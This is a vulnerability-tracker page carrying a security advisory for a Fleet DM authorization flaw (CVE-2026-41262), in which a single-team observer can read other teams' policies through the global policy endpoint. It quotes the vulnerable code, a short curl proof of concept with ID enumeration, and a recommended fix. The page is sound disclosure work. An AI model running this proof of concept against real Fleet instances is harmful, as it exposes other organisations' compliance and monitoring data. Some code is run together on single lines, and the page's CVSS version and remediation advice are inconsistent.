CVE-2026-41262

MEDIUMPre-NVD 4.34.3
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 4.3 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
4.3
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: CVSS: 4.3Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint

Summary

The global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) performs authorization against an empty fleet.Policy{} struct with nil TeamID, then fetches any policy by ID from the database without verifying the fetched policy actually belongs to the global scope. This allows a user with observer-level access on any single team to read the full details of policies belonging to any other team, bypassing Fleet's team isolation model.

Details

The vulnerability is in GetPolicyByIDQueries at server/service/global_policies.go:163-180:

func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
	// Auth check uses empty Policy{} — TeamID is nil
	if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
		return nil, err
	}

// Fetches ANY policy by ID, regardless of team ownership policy, err := svc.ds.Policy(ctx, policyID) if err != nil { return nil, err } // ... populates install_software and run_script, returns full policy return policy, nil }

The authorization passes because the OPA rule at server/authz/policy.rego:724-728 allows reading policies with null team_id for any user who holds a role on any team:

allow {
  is_null(object.team_id)
  object.type == "policy"
  team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_]
  action == read
}

Since the auth object has nil TeamID, this rule fires for any team member. After authorization, ds.Policy() calls policyDB() at server/datastore/mysql/policies.go:283-288 with a nil teamID:

func policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) {
	teamWhere := "TRUE"  // nil teamID → no team filter
	args := []interface{}{id}
	if teamID != nil {
		teamWhere = "team_id = ?"
		args = append(args, *teamID)
	}
	// ... executes SELECT with WHERE p.id = ? AND {teamWhere}

This returns any policy regardless of team ownership, and the full policy object is returned to the caller without any post-fetch team verification.

By contrast, the properly-secured endpoints verify team scope:

  • GetTeamPolicyByIDQueries (team_policies.go:421-428) sets TeamID: ptr.Uint(teamID) on the auth object and calls ds.TeamPolicy() which filters by team
  • DeleteGlobalPolicies (global_policies.go:255-263) explicitly checks policy.PolicyData.TeamID != nil after fetching

PoC

Prerequisites: A Fleet instance with at least two teams. User A has observer role on Team 1 only. Team 2 has policies that User A should not be able to view.

# Step 1: Authenticate as User A (Team 1 observer only)
TOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","password":"password"}' | jq -r '.token')

Step 2: Enumerate policy IDs (they are sequential integers)

Attempt to read a policy belonging to Team 2 (e.g., policy ID 5)

curl -s -H "Authorization: Bearer $TOKEN" \ https://fleet.example.com/api/latest/fleet/policies/5

Expected: 403 Forbidden (user has no access to Team 2)

Actual: 200 OK with full policy data:

{

"policy": {

"id": 5,

"name": "Team 2 Sensitive Policy",

"query": "SELECT * FROM sensitive_table WHERE ...",

"team_id": 2,

"passing_host_count": 42,

"failing_host_count": 7,

"description": "...",

"resolution": "...",

...

}

}

Impact

An authenticated user with observer-level access on any single team can:

  • Read SQL queries from all team policies across the Fleet instance, potentially revealing security monitoring strategies, compliance checks, and internal infrastructure details
  • View host pass/fail counts for other teams' policies, leaking compliance posture data across team boundaries
  • Access software installer and script metadata associated with other teams' policies via the populatePolicyInstallSoftware and populatePolicyRunScript calls
  • Enumerate all policies by iterating sequential integer IDs

This breaks Fleet's team isolation model, which is designed to restrict visibility between teams. Organizations using teams to separate departments, clients, or security zones would have their policy data exposed across boundaries.

Recommended Fix

Add a post-fetch check in GetPolicyByIDQueries to verify the returned policy is actually a global policy (nil TeamID), consistent with how DeleteGlobalPolicies operates:

func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
	if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
		return nil, err
	}

policy, err := svc.ds.Policy(ctx, policyID) if err != nil { return nil, err }

// Verify this is actually a global policy — team policies must be // accessed via the team-scoped endpoint which enforces team authorization if policy.TeamID != nil { return nil, authz.ForbiddenWithInternal( "attempting to read team policy via global endpoint", authz.UserFromContext(ctx), policy, fleet.ActionRead, ) }

if err := svc.populatePolicyInstallSoftware(ctx, policy); err != nil { return nil, ctxerr.Wrap(ctx, err, "populate install_software") } if err := svc.populatePolicyRunScript(ctx, policy); err != nil { return nil, ctxerr.Wrap(ctx, err, "populate run_script") }

return policy, nil }

Alternatively, re-authorize against the actual fetched policy object so OPA rules properly evaluate team membership, similar to how other Fleet endpoints handle object-level authorization.

CVSS v3
4.3
EG Score
4.3(low)
EPSS
KEV
Not listed

Published

June 26, 2026

Last Modified

June 26, 2026

Vendor Advisories for CVE-2026-41262(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 8× in last 7d / 12× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-07 00:59 UTCEG score recompute
  2. 2026-07-06 02:47 UTCEG score recompute
  3. 2026-07-05 04:34 UTCEG score recompute
  4. 2026-07-04 06:21 UTCEG score recompute
  5. 2026-07-03 08:07 UTCEG score recompute
  6. 2026-07-02 09:54 UTCEG score recompute
  7. 2026-07-01 11:42 UTCEG score recompute
  8. 2026-06-30 13:30 UTCEG score recompute
  9. 2026-06-29 15:18 UTCEG score recompute
  10. 2026-06-28 17:02 UTCEG score recompute
  11. 2026-06-27 18:50 UTCEG score recompute
  12. 2026-06-26 20:38 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-41262?
CVE-2026-41262 is a medium vulnerability published on June 26, 2026. Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint Summary The global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) performs authorization against an empty fleet.Policy{} struct with nil TeamID, then fetches any policy by ID from the database…
When was CVE-2026-41262 disclosed?
CVE-2026-41262 was first published in the National Vulnerability Database on June 26, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-41262?
CVE-2026-41262 has a CVSS v4.0 base score of 4.3 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-41262?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-41262, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-41262

Explore →

Is Your Infrastructure Affected by CVE-2026-41262?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.